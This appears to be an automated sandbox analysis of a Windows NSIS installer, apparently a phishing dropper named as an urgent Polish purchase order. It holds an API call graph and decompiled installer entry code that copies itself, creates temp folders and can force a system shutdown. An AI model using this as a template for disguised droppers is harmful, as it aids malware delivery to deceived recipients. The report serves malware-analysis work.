4887 10002aa3 4802->4887 4809 100017a4 4803->4809 4804 10001758 4901 10001559 4804->4901 4881 10002589 4805->4881 4812 1000178c 4807->4812 4816 100017f9 4809->4816 4912 100023a0 4809->4912 4815 100023da 11 API calls 4812->4815 4814 10001739 4814->4794 4815->4809 4816->4787 4820 10001803 GlobalFree 4816->4820 4820->4787 4822 100017e5 4822->4816 4916 100014e2 wsprintfA 4822->4916 4823 100017de FreeLibrary 4823->4822 4826 404f12 25 API calls 4825->4826 4827 401431 4826->4827 4827->4779 4919 10001215 GlobalAlloc 4828->4919 4830 10001a81 4920 10001215 GlobalAlloc 4830->4920 4832 10001cbb GlobalFree GlobalFree GlobalFree 4833 10001cd8 4832->4833 4848 10001d22 4832->4848 4835 1000201a 4833->4835 4836 10001ced 4833->4836 4833->4848 4834 10001b60 GlobalAlloc 4858 10001a8c 4834->4858 4837 1000203c GetModuleHandleA 4835->4837 4835->4848 4836->4848 4923 10001224 4836->4923 4840 10002062 4837->4840 4841 1000204d LoadLibraryA 4837->4841 4838 10001bab lstrcpyA 4842 10001bb5 lstrcpyA 4838->4842 4839 10001bc9 GlobalFree 4839->4858 4927 100015a4 GetProcAddress 4840->4927 4841->4840 4841->4848 4842->4858 4844 100020b3 4845 100020c0 lstrlenA 4844->4845 4844->4848 4928 100015a4 GetProcAddress 4845->4928 4847 10001f7a 4847->4848 4852 10001fbe lstrcpyA 4847->4852 4848->4786 4849 10002074 4849->4844 4859 1000209d GetProcAddress 4849->4859 4852->4848 4853 10001c07 4853->4858 4921 10001534 GlobalSize GlobalAlloc 4853->4921 4854 10001e75 GlobalFree 4854->4858 4855 100020d9 4855->4848 4857 10001224 2 API calls 4857->4858 4858->4832 4858->4834 4858->4838 4858->4839 4858->4842 4858->4847 4858->4848 4858->4853 4858->4854 4858->4857 4926 10001215 GlobalAlloc 4858->4926 4859->4844 4861 10002212 4860->4861 4863 10002349 GlobalFree 4861->4863 4864 100022b9 GlobalAlloc MultiByteToWideChar 4861->4864 4865 1000230a lstrlenA 4861->4865 4868 10001224 GlobalAlloc lstrcpynA 4861->4868 4930 100012ad 4861->4930 4863->4861 4866 10001712 4863->4866 4867 10002303 4864->4867 4869 100022e3 GlobalAlloc CLSIDFromString GlobalFree 4864->4869 4865->4863 4865->4867 4866->4794 4866->4798 4866->4802 4867->4863 4934 1000251d 4867->4934 4868->4861 4869->4863 4873 100027fa 4871->4873 4872 1000289f CreateFileA 4874 100028bd 4872->4874 4873->4872 4875 100029b9 4874->4875 4876 100029ae GetLastError 4874->4876 4875->4794 4876->4875 4878 100021c0 4877->4878 4879 1000170b 4877->4879 4878->4879 4880 100021d2 GlobalAlloc 4878->4880 4879->4789 4880->4878 4885 100025a5 4881->4885 4882 100025f6 GlobalAlloc 4886 10002618 4882->4886 4883 10002609 4884 1000260e GlobalSize 4883->4884 4883->4886 4884->4886 4885->4882 4885->4883 4886->4814 4889 10002aae 4887->4889 4888 10002aee GlobalFree 4889->4888 4937 10001215 GlobalAlloc 4890->4937 4892 1000243a lstrcpynA 4896 100023e6 4892->4896 4893 1000244b StringFromGUID2 WideCharToMultiByte 4893->4896 4894 1000246f WideCharToMultiByte 4894->4896 4895 100024b4 GlobalFree 4895->4896 4896->4892 4896->4893 4896->4894 4896->4895 4897 10002490 wsprintfA 4896->4897 4898 100024ee GlobalFree 4896->4898 4899 10001266 2 API calls 4896->4899 4938 100012d1 4896->4938 4897->4896 4898->4804 4899->4896 4942 10001215 GlobalAlloc 4901->4942 4903 1000155f 4904 1000156c lstrcpyA 4903->4904 4906 10001586 4903->4906 4907 100015a0 4904->4907 4906->4907 4908 1000158b wsprintfA 4906->4908 4909 10001266 4907->4909 4908->4907 4910 100012a8 GlobalFree 4909->4910 4911 1000126f GlobalAlloc lstrcpynA 4909->4911 4910->4809 4911->4910 4913 100017c5 4912->4913 4914 100023ae 4912->4914 4913->4822 4913->4823 4914->4913 4915 100023c7 GlobalFree 4914->4915 4915->4914 4917 10001266 2 API calls 4916->4917 4918 10001503 4917->4918 4918->4816 4919->4830 4920->4858 4922 10001552 4921->4922 4922->4853 4929 10001215 GlobalAlloc 4923->4929 4925 10001233 lstrcpynA 4925->4848 4926->4858 4927->4849 4928->4855 4929->4925 4931 100012b4 4930->4931 4932 10001224 2 API calls 4931->4932 4933 100012cf 4932->4933 4933->4861 4935 10002581 4934->4935 4936 1000252b VirtualAlloc 4934->4936 4935->4867 4936->4935 4937->4896 4939 100012f9 4938->4939 4940 100012da 4938->4940 4939->4896 4940->4939 4941 100012e0 lstrcpyA 4940->4941 4941->4939 4942->4903 5728 401490 5729 404f12 25 API calls 5728->5729 5730 401497 5729->5730 5034 401595 5035 402a3a 18 API calls 5034->5035 5036 40159c SetFileAttributesA 5035->5036 5037 4015ae 5036->5037 5038 402616 5039 40261d 5038->5039 5045 40287c 5038->5045 5040 402a1d 18 API calls 5039->5040 5041 402628 5040->5041 5042 40262f SetFilePointer 5041->5042 5043 40263f 5042->5043 5042->5045 5046 405c57 wsprintfA 5043->5046 5046->5045 5052 401717 5053 402a3a 18 API calls 5052->5053 5054 40171e SearchPathA 5053->5054 5055 401739 5054->5055 5465 10001058 5467 10001074 5465->5467 5466 100010dc 5467->5466 5468 10001091 5467->5468 5469 100014bb GlobalFree 5467->5469 5470 100014bb GlobalFree 5468->5470 5469->5468 5471 100010a1 5470->5471 5472 100010b1 5471->5472 5473 100010a8 GlobalSize 5471->5473 5474 100010b5 GlobalAlloc 5472->5474 5475 100010c6 5472->5475 5473->5472 5476 100014e2 3 API calls 5474->5476 5477 100010d1 GlobalFree 5475->5477 5476->5475 5477->5466 5836 402519 5837 40252e 5836->5837 5838 40251e 5836->5838 5840 402a3a 18 API calls 5837->5840 5839 402a1d 18 API calls 5838->5839 5841 402527 5839->5841 5842 402535 lstrlenA 5840->5842 5843 402557 5841->5843 5844 405a13 WriteFile 5841->5844 5842->5841 5844->5843 5845 40431c 5846 404348 5845->5846 5847 404359 5845->5847 5906 4054d3 GetDlgItemTextA 5846->5906 5849 404365 GetDlgItem 5847->5849 5850 4043c4 5847->5850 5853 404379 5849->5853 5851 4044a8 5850->5851 5859 405d1b 18 API calls 5850->5859 5904 404652 5850->5904 5851->5904 5908 4054d3 GetDlgItemTextA 5851->5908 5852 404353 5854 405f64 5 API calls 5852->5854 5855 40438d SetWindowTextA 5853->5855 5857 405804 4 API calls 5853->5857 5854->5847 5858 403ede 19 API calls 5855->5858 5863 404383 5857->5863 5864 4043a9 5858->5864 5865 404438 SHBrowseForFolderA 5859->5865 5860 4044d8 5866 405859 18 API calls 5860->5866 5861 403f45 8 API calls 5862 404666 5861->5862 5863->5855 5870 40576b 3 API calls 5863->5870 5867 403ede 19 API calls 5864->5867 5865->5851 5868 404450 CoTaskMemFree 5865->5868 5869 4044de 5866->5869 5871 4043b7 5867->5871 5872 40576b 3 API calls 5868->5872 5909 405cf9 lstrcpynA 5869->5909 5870->5855 5907 403f13 SendMessageA 5871->5907 5874 40445d 5872->5874 5877 404494 SetDlgItemTextA 5874->5877 5881 405d1b 18 API calls 5874->5881 5876 4043bd 5879 406092 5 API calls 5876->5879 5877->5851 5878 4044f5 5880 406092 5 API calls 5878->5880 5879->5850 5887 4044fc 5880->5887 5882 40447c lstrcmpiA 5881->5882 5882->5877 5885 40448d lstrcatA 5882->5885 5883 404538 5910 405cf9 lstrcpynA 5883->5910 5885->5877 5886 40453f 5888 405804 4 API calls 5886->5888 5887->5883 5891 4057b2 2 API calls 5887->5891 5893 404590 5887->5893 5889 404545 GetDiskFreeSpaceA 5888->5889 5892 404569 MulDiv 5889->5892 5889->5893 5891->5887 5892->5893 5894 404601 5893->5894 5896 404798 21 API calls 5893->5896 5895 404624 5894->5895 5897 40140b 2 API calls 5894->5897 5911 403f00 KiUserCallbackDispatcher 5895->5911 5898 4045ee 5896->5898 5897->5895 5900 404603 SetDlgItemTextA 5898->5900 5901 4045f3 5898->5901 5900->5894 5903 4046d3 21 API calls 5901->5903 5902 404640 5902->5904 5905 4042b1 SendMessageA 5902->5905 5903->5894 5904->5861 5905->5904 5906->5852 5907->5876 5908->5860 5909->5878 5910->5886 5911->5902 5738 40149d 5739 4014ab PostQuitMessage 5738->5739 5740 40226e 5738->5740 5739->5740 5741 100010e0 5750 1000110e 5741->5750 5742 100011c4 GlobalFree 5743 100012ad 2 API calls 5743->5750 5744 100011c3 5744->5742 5745 100011ea GlobalFree 5745->5750 5746 10001266 2 API calls 5749 100011b1 GlobalFree 5746->5749 5747 10001155 GlobalAlloc 5747->5750 5748 100012d1 lstrcpyA 5748->5750 5749->5750 5750->5742 5750->5743 5750->5744 5750->5745 5750->5746 5750->5747 5750->5748 5750->5749 5912 10002162 5913 100021c0 5912->5913 5914 100021f6 5912->5914 5913->5914 5915 100021d2 GlobalAlloc 5913->5915 5915->5913 5916 401b23 5917 401b30 5916->5917 5918 401b74 5916->5918 5919 401bb8 5917->5919 5925 401b47 5917->5925 5920 401b78 5918->5920 5921 401b9d GlobalAlloc 5918->5921 5923 405d1b 18 API calls 5919->5923 5929 40226e 5919->5929 5920->5929 5937 405cf9 lstrcpynA 5920->5937 5922 405d1b 18 API calls 5921->5922 5922->5919 5926 402268 5923->5926 5935 405cf9 lstrcpynA 5925->5935 5926->5929 5931 4054ef MessageBoxIndirectA 5926->5931 5927 401b8a GlobalFree 5927->5929 5930 401b56 5936 405cf9 lstrcpynA 5930->5936 5931->5929 5933 401b65 5938 405cf9 lstrcpynA 5933->5938 5935->5930 5936->5933 5937->5927 5938->5929 5478 404027 5479 40403d 5478->5479 5481 404149 5478->5481 5482 403ede 19 API calls 5479->5482 5480 4041b8 5483 4041c2 GetDlgItem 5480->5483 5484 40428c 5480->5484 5481->5480 5481->5484 5488 40418d GetDlgItem SendMessageA 5481->5488 5485 404093 5482->5485 5486 4041d8 5483->5486 5487 40424a 5483->5487 5489 403f45 8 API calls 5484->5489 5490 403ede 19 API calls 5485->5490 5486->5487 5495 4041fe 6 API calls 5486->5495 5487->5484 5491 40425c 5487->5491 5509 403f00 KiUserCallbackDispatcher 5488->5509 5493 404287 5489->5493 5494 4040a0 CheckDlgButton 5490->5494 5496 404262 SendMessageA 5491->5496 5497 404273 5491->5497 5507 403f00 KiUserCallbackDispatcher 5494->5507 5495->5487 5496->5497 5497->5493 5500 404279 SendMessageA 5497->5500 5498 4041b3 5510 4042b1 5498->5510 5500->5493 5502 4040be GetDlgItem 5508 403f13 SendMessageA 5502->5508 5504 4040d4 SendMessageA 5505 4040f2 GetSysColor 5504->5505 5506 4040fb SendMessageA SendMessageA lstrlenA SendMessageA SendMessageA 5504->5506 5505->5506 5506->5493 5507->5502 5508->5504 5509->5498 5511 4042c4 SendMessageA 5510->5511 5512 4042bf 5510->5512 5511->5480 5512->5511 5751 401ca7 5752 402a1d 18 API calls 5751->5752 5753 401cae 5752->5753 5754 402a1d 18 API calls 5753->5754 5755 401cb6 GetDlgItem 5754->5755 5756 402513 5755->5756 4459 40192a 4460 40192c 4459->4460 4461 402a3a 18 API calls 4460->4461 4462 401931 4461->4462 4465 40559b 4462->4465 4506 405859 4465->4506 4468 4055c3 DeleteFileA 4470 40193a 4468->4470 4469 4055da 4471 405712 4469->4471 4520 405cf9 lstrcpynA 4469->4520 4471->4470 4538 405ffd FindFirstFileA 4471->4538 4473 405600 4474 405613 4473->4474 4475 405606 lstrcatA 4473->4475 4521 4057b2 lstrlenA 4474->4521 4477 405619 4475->4477 4480 405627 lstrcatA 4477->4480 4481 40561e 4477->4481 4483 405632 lstrlenA FindFirstFileA 4480->4483 4481->4480 4481->4483 4482 405730 4541 40576b lstrlenA CharPrevA 4482->4541 4484 405708 4483->4484 4504 405656 4483->4504 4484->4471 4486 405796 CharNextA 4486->4504 4488 405553 5 API calls 4489 405742 4488->4489 4490 405746 4489->4490 4491 40575c 4489->4491 4490->4470 4496 404f12 25 API calls 4490->4496 4492 404f12 25 API calls 4491->4492 4492->4470 4493 4056e7 FindNextFileA 4495 4056ff FindClose 4493->4495 4493->4504 4495->4484 4497 405753 4496->4497 4499 405bb4 38 API calls 4497->4499 4500 40575a 4499->4500 4500->4470 4501 40559b 62 API calls 4501->4504 4502 404f12 25 API calls 4502->4493 4503 404f12 25 API calls 4503->4504 4504->4486 4504->4493 4504->4501 4504->4502 4504->4503 4525 405cf9 lstrcpynA 4504->4525 4526 405553 4504->4526 4534 405bb4 MoveFileExA 4504->4534 4544 405cf9 lstrcpynA 4506->4544 4508 40586a 4545 405804 CharNextA CharNextA 4508->4545 4511 405f64 5 API calls 4518 405880 4511->4518 4512 4055bb 4512->4468 4512->4469 4513 4058ab lstrlenA 4514 4058b6 4513->4514 4513->4518 4516 40576b 3 API calls 4514->4516 4515 405ffd 2 API calls 4515->4518 4517 4058bb GetFileAttributesA 4516->4517 4517->4512 4518->4512 4518->4513 4518->4515 4519 4057b2 2 API calls 4518->4519 4519->4513 4520->4473 4522 4057bf 4521->4522 4523 4057d0 4522->4523 4524 4057c4 CharPrevA 4522->4524 4523->4477 4524->4522 4524->4523 4525->4504 4551 405947 GetFileAttributesA 4526->4551 4529 405580 4529->4504 4530 405576 DeleteFileA 4532 40557c 4530->4532 4531 40556e RemoveDirectoryA 4531->4532 4532->4529 4533 40558c SetFileAttributesA 4532->4533 4533->4529 4535 405bd5 4534->4535 4536 405bc8 4534->4536 4535->4504 4554 405a42 lstrcpyA 4536->4554 4539 406013 FindClose 4538->4539 4540 40572c 4538->4540 4539->4540 4540->4470 4540->4482 4542 405736 4541->4542 4543 405785 lstrcatA 4541->4543 4542->4488 4543->4542 4544->4508 4546 40581f 4545->4546 4550 40582f 4545->4550 4548 40582a CharNextA 4546->4548 4546->4550 4547 40584f 4547->4511 4547->4512 4548->4547 4549 405796 CharNextA 4549->4550 4550->4547 4550->4549 4552 40555f 4551->4552 4553 405959 SetFileAttributesA 4551->4553 4552->4529 4552->4530 4552->4531 4553->4552 4555 405a90 GetShortPathNameA 4554->4555 4556 405a6a 4554->4556 4558 405aa5 4555->4558 4559 405baf 4555->4559 4581 40596c GetFileAttributesA CreateFileA 4556->4581 4558->4559 4561 405aad wsprintfA 4558->4561 4559->4535 4560 405a74 CloseHandle GetShortPathNameA 4560->4559 4562 405a88 4560->4562 4563 405d1b 18 API calls 4561->4563 4562->4555 4562->4559 4564 405ad5 4563->4564 4582 40596c GetFileAttributesA CreateFileA 4564->4582 4566 405ae2 4566->4559 4567 405af1 GetFileSize GlobalAlloc 4566->4567 4568 405b13 4567->4568 4569 405ba8 CloseHandle 4567->4569 4570 4059e4 ReadFile 4568->4570 4569->4559 4571 405b1b 4570->4571 4571->4569 4583 4058d1 lstrlenA 4571->4583 4574 405b32 lstrcpyA 4577 405b54 4574->4577 4575 405b46 4576 4058d1 4 API calls 4575->4576 4576->4577 4578 405b8b SetFilePointer 4577->4578 4579 405a13 WriteFile 4578->4579 4580 405ba1 GlobalFree 4579->4580 4580->4569 4581->4560 4582->4566 4584 405912 lstrlenA 4583->4584 4585 40591a 4584->4585 4586 4058eb lstrcmpiA 4584->4586 4585->4574 4585->4575 4586->4585 4587 405909 CharNextA 4586->4587 4587->4584 5757 4028aa SendMessageA 5758 4028c4 InvalidateRect 5757->5758 5759 4028cf 5757->5759 5758->5759 5003 4015b3 5004 402a3a 18 API calls 5003->5004 5005 4015ba 5004->5005 5006 405804 4 API calls 5005->5006 5019 4015c2 5006->5019 5007 40161c 5009 401621 5007->5009 5010 40164a 5007->5010 5008 405796 CharNextA 5008->5019 5011 401423 25 API calls 5009->5011 5013 401423 25 API calls 5010->5013 5012 401628 5011->5012 5030 405cf9 lstrcpynA 5012->5030 5018 401642 5013->5018 5017 401633 SetCurrentDirectoryA 5017->5018 5019->5007 5019->5008 5020 401604 GetFileAttributesA 5019->5020 5022 405472 5019->5022 5025 4053d8 CreateDirectoryA 5019->5025 5031 405455 CreateDirectoryA 5019->5031 5020->5019 5023 406092 5 API calls 5022->5023 5024 405479 5023->5024 5024->5019 5026 405425 5025->5026 5027 405429 GetLastError 5025->5027 5026->5019 5027->5026 5028 405438 SetFileSecurityA 5027->5028 5028->5026 5029 40544e GetLastError 5028->5029 5029->5026 5030->5017 5032 405465 5031->5032 5033 405469 GetLastError 5031->5033 5032->5019 5033->5032 5760 4016b3 5761 402a3a 18 API calls 5760->5761 5762 4016b9 GetFullPathNameA 5761->5762 5763 4016d0 5762->5763 5769 4016f1 5762->5769 5766 405ffd 2 API calls 5763->5766 5763->5769 5764 401705 GetShortPathNameA 5765 4028cf 5764->5765 5767 4016e1 5766->5767 5767->5769 5770 405cf9 lstrcpynA 5767->5770 5769->5764 5769->5765 5770->5769 5513 403637 5514 403642 5513->5514 5515 403646 5514->5515 5516 403649 GlobalAlloc 5514->5516 5516->5515 5771 4014b7 5772 4014bd 5771->5772 5773 401389 2 API calls 5772->5773 5774 4014c5 5773->5774 5946 401d38 GetDC GetDeviceCaps 5947 402a1d 18 API calls 5946->5947 5948 401d56 MulDiv ReleaseDC 5947->5948 5949 402a1d 18 API calls 5948->5949 5950 401d75 5949->5950 5951 405d1b 18 API calls 5950->5951 5952 401dae CreateFontIndirectA 5951->5952 5953 402513 5952->5953 5303 40173e 5304 402a3a 18 API calls 5303->5304 5305 401745 5304->5305 5306 40599b 2 API calls 5305->5306 5307 40174c 5306->5307 5308 40599b 2 API calls 5307->5308 5308->5307 5775 401ebe 5776 402a3a 18 API calls 5775->5776 5777 401ec5 5776->5777 5778 405ffd 2 API calls 5777->5778 5779 401ecb 5778->5779 5781 401edd 5779->5781 5782 405c57 wsprintfA 5779->5782 5782->5781 5954 40193f 5955 402a3a 18 API calls 5954->5955 5956 401946 lstrlenA 5955->5956 5957 402513 5956->5957

                                                                                              Executed Functions

                                                                                              Function 004030D9 Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357stringcomfileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 0 4030d9-40310e SetErrorMode GetVersion 1 403110-403118 call 406092 0->1 2 403121 0->2 1->2 7 40311a 1->7 4 403126-403139 call 406024 lstrlenA 2->4 9 40313b-4031ae call 406092 * 2 #17 OleInitialize SHGetFileInfoA call 405cf9 GetCommandLineA call 405cf9 GetModuleHandleA 4->9 7->2 18 4031b0-4031b5 9->18 19 4031ba-4031cf call 405796 CharNextA 9->19 18->19 22 403294-403298 19->22 23 4031d4-4031d7 22->23 24 40329e 22->24 25 4031d9-4031dd 23->25 26 4031df-4031e7 23->26 27 4032b1-4032cb GetTempPathA call 4030a8 24->27 25->25 25->26 28 4031e9-4031ea 26->28 29 4031ef-4031f2 26->29 34 403323-40333d DeleteFileA call 402c66 27->34 35 4032cd-4032eb GetWindowsDirectoryA lstrcatA call 4030a8 27->35 28->29 31 403284-403291 call 405796 29->31 32 4031f8-4031fc 29->32 31->22 51 403293 31->51 37 403214-403241 32->37 38 4031fe-403204 32->38 53 4033d1-4033e1 call 40359f OleUninitialize 34->53 54 403343-403349 34->54 35->34 52 4032ed-40331d GetTempPathA lstrcatA SetEnvironmentVariableA * 2 call 4030a8 35->52 40 403243-403249 37->40 41 403254-403282 37->41 44 403206-403208 38->44 45 40320a 38->45 47 40324b-40324d 40->47 48 40324f 40->48 41->31 49 4032a0-4032ac call 405cf9 41->49 44->37 44->45 45->37 47->41 47->48 48->41 49->27 51->22 52->34 52->53 66 403505-40350b 53->66 67 4033e7-4033f7 call 4054ef ExitProcess 53->67 57 4033c1-4033c8 call 403679 54->57 58 40334b-403356 call 405796 54->58 64 4033cd 57->64 71 403358-403381 58->71 72 40338c-403396 58->72 64->53 69 403587-40358f 66->69 70 40350d-403526 GetCurrentProcess OpenProcessToken 66->70 73 403591 69->73 74 403595-403599 ExitProcess 69->74 78 403558-403566 call 406092 70->78 79 403528-403552 LookupPrivilegeValueA AdjustTokenPrivileges 70->79 80 403383-403385 71->80 76 403398-4033a5 call 405859 72->76 77 4033fd-403411 call 405472 lstrcatA 72->77 73->74 76->53 88 4033a7-4033bd call 405cf9 * 2 76->88 89 403413-403419 lstrcatA 77->89 90 40341e-403438 lstrcatA lstrcmpiA 77->90 91 403574-40357e ExitWindowsEx 78->91 92 403568-403572 78->92 79->78 80->72 84 403387-40338a 80->84 84->72 84->80 88->57 89->90 90->53 94 40343a-40343d 90->94 91->69 95 403580-403582 call 40140b 91->95 92->91 92->95 97 403446 call 405455 94->97 98 40343f-403444 call 4053d8 94->98 95->69 106 40344b-403458 SetCurrentDirectoryA 97->106 98->106 107 403465-40348d call 405cf9 106->107 108 40345a-403460 call 405cf9 106->108 112 403493-4034af call 405d1b DeleteFileA 107->112 108->107 115 4034f0-4034f7 112->115 116 4034b1-4034c1 CopyFileA 112->116 115->112 117 4034f9-403500 call 405bb4 115->117 116->115 118 4034c3-4034e3 call 405bb4 call 405d1b call 40548a 116->118 117->53 118->115 127 4034e5-4034ec CloseHandle 118->127 127->115
                                                                                              C-Code - Quality: 87%
                                                                                              			_entry_() {
				intOrPtr _t45;
				CHAR* _t49;
				char* _t52;
				CHAR* _t54;
				void* _t58;
				intOrPtr _t60;
				int _t62;
				int _t65;
				signed int _t66;
				int _t67;
				signed int _t69;
				void* _t93;
				signed int _t109;
				void* _t112;
				void* _t117;
				intOrPtr* _t118;
				char _t121;
				signed int _t140;
				signed int _t141;
				int _t149;
				void* _t150;
				intOrPtr* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t158;
				char* _t159;
				void* _t162;
				void* _t163;
				char _t185;

				 *(_t163 + 0x18) = 0;
				 *((intOrPtr*)(_t163 + 0x10)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t163 + 0x20) = 0;
				 *(_t163 + 0x14) = 0x20;
				SetErrorMode(0x8001); // executed
				if(GetVersion() != 6) {
					_t118 = E00406092(0);
					if(_t118 != 0) {
						 *_t118(0xc00);
					}
				}
				_t155 = "UXTHEME";
				do {
					E00406024(_t155); // executed
					_t155 =  &(_t155[lstrlenA(_t155) + 1]);
				} while ( *_t155 != 0);
				E00406092(9);
				_t45 = E00406092(7);
				 *0x423704 = _t45;
				__imp__#17(_t158);
				__imp__OleInitialize(0); // executed
				 *0x4237b8 = _t45;
				SHGetFileInfoA(0x41ecc8, 0, _t163 + 0x38, 0x160, 0); // executed
				E00405CF9(0x422f00, "NSIS Error");
				_t49 = GetCommandLineA();
				_t159 = "\"C:\\Users\\Arthur\\Desktop\\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe\"";
				E00405CF9(_t159, _t49);
				 *0x423700 = GetModuleHandleA(0);
				_t52 = _t159;
				if("\"C:\\Users\\Arthur\\Desktop\\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe\"" == 0x22) {
					 *(_t163 + 0x14) = 0x22;
					_t52 =  &M00429001;
				}
				_t54 = CharNextA(E00405796(_t52,  *(_t163 + 0x14)));
				 *(_t163 + 0x1c) = _t54;
				while(1) {
					_t121 =  *_t54;
					_t168 = _t121;
					if(_t121 == 0) {
						break;
					}
					__eflags = _t121 - 0x20;
					if(_t121 != 0x20) {
						L10:
						__eflags =  *_t54 - 0x22;
						 *(_t163 + 0x14) = 0x20;
						if( *_t54 == 0x22) {
							_t54 =  &(_t54[1]);
							__eflags = _t54;
							 *(_t163 + 0x14) = 0x22;
						}
						__eflags =  *_t54 - 0x2f;
						if( *_t54 != 0x2f) {
							L22:
							_t54 = E00405796(_t54,  *(_t163 + 0x14));
							__eflags =  *_t54 - 0x22;
							if(__eflags == 0) {
								_t54 =  &(_t54[1]);
								__eflags = _t54;
							}
							continue;
						} else {
							_t54 =  &(_t54[1]);
							__eflags =  *_t54 - 0x53;
							if( *_t54 != 0x53) {
								L17:
								__eflags =  *_t54 - ((( *0x409183 << 0x00000008 |  *0x409182) << 0x00000008 |  *0x409181) << 0x00000008 | "NCRC");
								if( *_t54 != ((( *0x409183 << 0x00000008 |  *0x409182) << 0x00000008 |  *0x409181) << 0x00000008 | "NCRC")) {
									L21:
									__eflags =  *((intOrPtr*)(_t54 - 2)) - ((( *0x40917b << 0x00000008 |  *0x40917a) << 0x00000008 |  *0x409179) << 0x00000008 | " /D=");
									if( *((intOrPtr*)(_t54 - 2)) == ((( *0x40917b << 0x00000008 |  *0x40917a) << 0x00000008 |  *0x409179) << 0x00000008 | " /D=")) {
										 *((char*)(_t54 - 2)) = 0;
										__eflags =  &(_t54[2]);
										E00405CF9("C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer",  &(_t54[2]));
										L27:
										_t156 = "C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathA(0x400, _t156);
										_t58 = E004030A8(_t168);
										_t169 = _t58;
										if(_t58 != 0) {
											L30:
											DeleteFileA("1033"); // executed
											_t60 = E00402C66(_t171,  *(_t163 + 0x20)); // executed
											 *((intOrPtr*)(_t163 + 0x10)) = _t60;
											if(_t60 != 0) {
												L40:
												E0040359F();
												__imp__OleUninitialize();
												_t181 =  *((intOrPtr*)(_t163 + 0x10));
												if( *((intOrPtr*)(_t163 + 0x10)) == 0) {
													__eflags =  *0x423794;
													if( *0x423794 == 0) {
														L64:
														_t62 =  *0x4237ac;
														__eflags = _t62 - 0xffffffff;
														if(_t62 != 0xffffffff) {
															 *(_t163 + 0x14) = _t62;
														}
														ExitProcess( *(_t163 + 0x14));
													}
													_t65 = OpenProcessToken(GetCurrentProcess(), 0x28, _t163 + 0x18);
													__eflags = _t65;
													_t149 = 2;
													if(_t65 != 0) {
														LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t163 + 0x24);
														 *(_t163 + 0x38) = 1;
														 *(_t163 + 0x44) = _t149;
														AdjustTokenPrivileges( *(_t163 + 0x2c), 0, _t163 + 0x28, 0, 0, 0);
													}
													_t66 = E00406092(4);
													__eflags = _t66;
													if(_t66 == 0) {
														L62:
														_t67 = ExitWindowsEx(_t149, 0x80040002);
														__eflags = _t67;
														if(_t67 != 0) {
															goto L64;
														}
														goto L63;
													} else {
														_t69 =  *_t66(0, 0, 0, 0x25, 0x80040002);
														__eflags = _t69;
														if(_t69 == 0) {
															L63:
															E0040140B(9);
															goto L64;
														}
														goto L62;
													}
												}
												E004054EF( *((intOrPtr*)(_t163 + 0x10)), 0x200010);
												ExitProcess(2);
											}
											if( *0x42371c == 0) {
												L39:
												 *0x4237ac =  *0x4237ac | 0xffffffff;
												 *(_t163 + 0x18) = E00403679( *0x4237ac);
												goto L40;
											}
											_t152 = E00405796(_t159, 0);
											if(_t152 < _t159) {
												L36:
												_t178 = _t152 - _t159;
												 *((intOrPtr*)(_t163 + 0x10)) = "Error launching installer";
												if(_t152 < _t159) {
													_t150 = E00405472(_t181);
													lstrcatA(_t156, "~nsu");
													if(_t150 != 0) {
														lstrcatA(_t156, "A");
													}
													lstrcatA(_t156, ".tmp");
													_t161 = "C:\\Users\\Arthur\\Desktop";
													if(lstrcmpiA(_t156, "C:\\Users\\Arthur\\Desktop") != 0) {
														_push(_t156);
														if(_t150 == 0) {
															E00405455();
														} else {
															E004053D8();
														}
														SetCurrentDirectoryA(_t156);
														_t185 = "C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer"; // 0x43
														if(_t185 == 0) {
															E00405CF9("C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer", _t161);
														}
														E00405CF9(0x424000,  *(_t163 + 0x1c));
														_t136 = "A";
														_t162 = 0x1a;
														 *0x424400 = "A";
														do {
															E00405D1B(0, 0x41e8c8, _t156, 0x41e8c8,  *((intOrPtr*)( *0x423710 + 0x120)));
															DeleteFileA(0x41e8c8);
															if( *((intOrPtr*)(_t163 + 0x10)) != 0 && CopyFileA("C:\\Users\\Arthur\\Desktop\\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", 0x41e8c8, ?str?) != 0) {
																E00405BB4(_t136, 0x41e8c8, 0);
																E00405D1B(0, 0x41e8c8, _t156, 0x41e8c8,  *((intOrPtr*)( *0x423710 + 0x124)));
																_t93 = E0040548A(0x41e8c8);
																if(_t93 != 0) {
																	CloseHandle(_t93);
																	 *((intOrPtr*)(_t163 + 0x10)) = 0;
																}
															}
															 *0x424400 =  *0x424400 + 1;
															_t162 = _t162 - 1;
														} while (_t162 != 0);
														E00405BB4(_t136, _t156, 0);
													}
													goto L40;
												}
												 *_t152 = 0;
												_t153 = _t152 + 4;
												if(E00405859(_t178, _t152 + 4) == 0) {
													goto L40;
												}
												E00405CF9("C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer", _t153);
												E00405CF9("C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer\\Syntaksgenkendelsernes\\Temposkifterne", _t153);
												 *((intOrPtr*)(_t163 + 0x10)) = 0;
												goto L39;
											}
											_t109 = (( *0x40915b << 0x00000008 |  *0x40915a) << 0x00000008 |  *0x409159) << 0x00000008 | " _?=";
											while( *_t152 != _t109) {
												_t152 = _t152 - 1;
												if(_t152 >= _t159) {
													continue;
												}
												goto L36;
											}
											goto L36;
										}
										GetWindowsDirectoryA(_t156, 0x3fb);
										lstrcatA(_t156, "\\Temp");
										_t112 = E004030A8(_t169);
										_t170 = _t112;
										if(_t112 != 0) {
											goto L30;
										}
										GetTempPathA(0x3fc, _t156);
										lstrcatA(_t156, "Low");
										SetEnvironmentVariableA("TEMP", _t156);
										SetEnvironmentVariableA("TMP", _t156);
										_t117 = E004030A8(_t170);
										_t171 = _t117;
										if(_t117 == 0) {
											goto L40;
										}
										goto L30;
									}
									goto L22;
								}
								_t140 = _t54[4];
								__eflags = _t140 - 0x20;
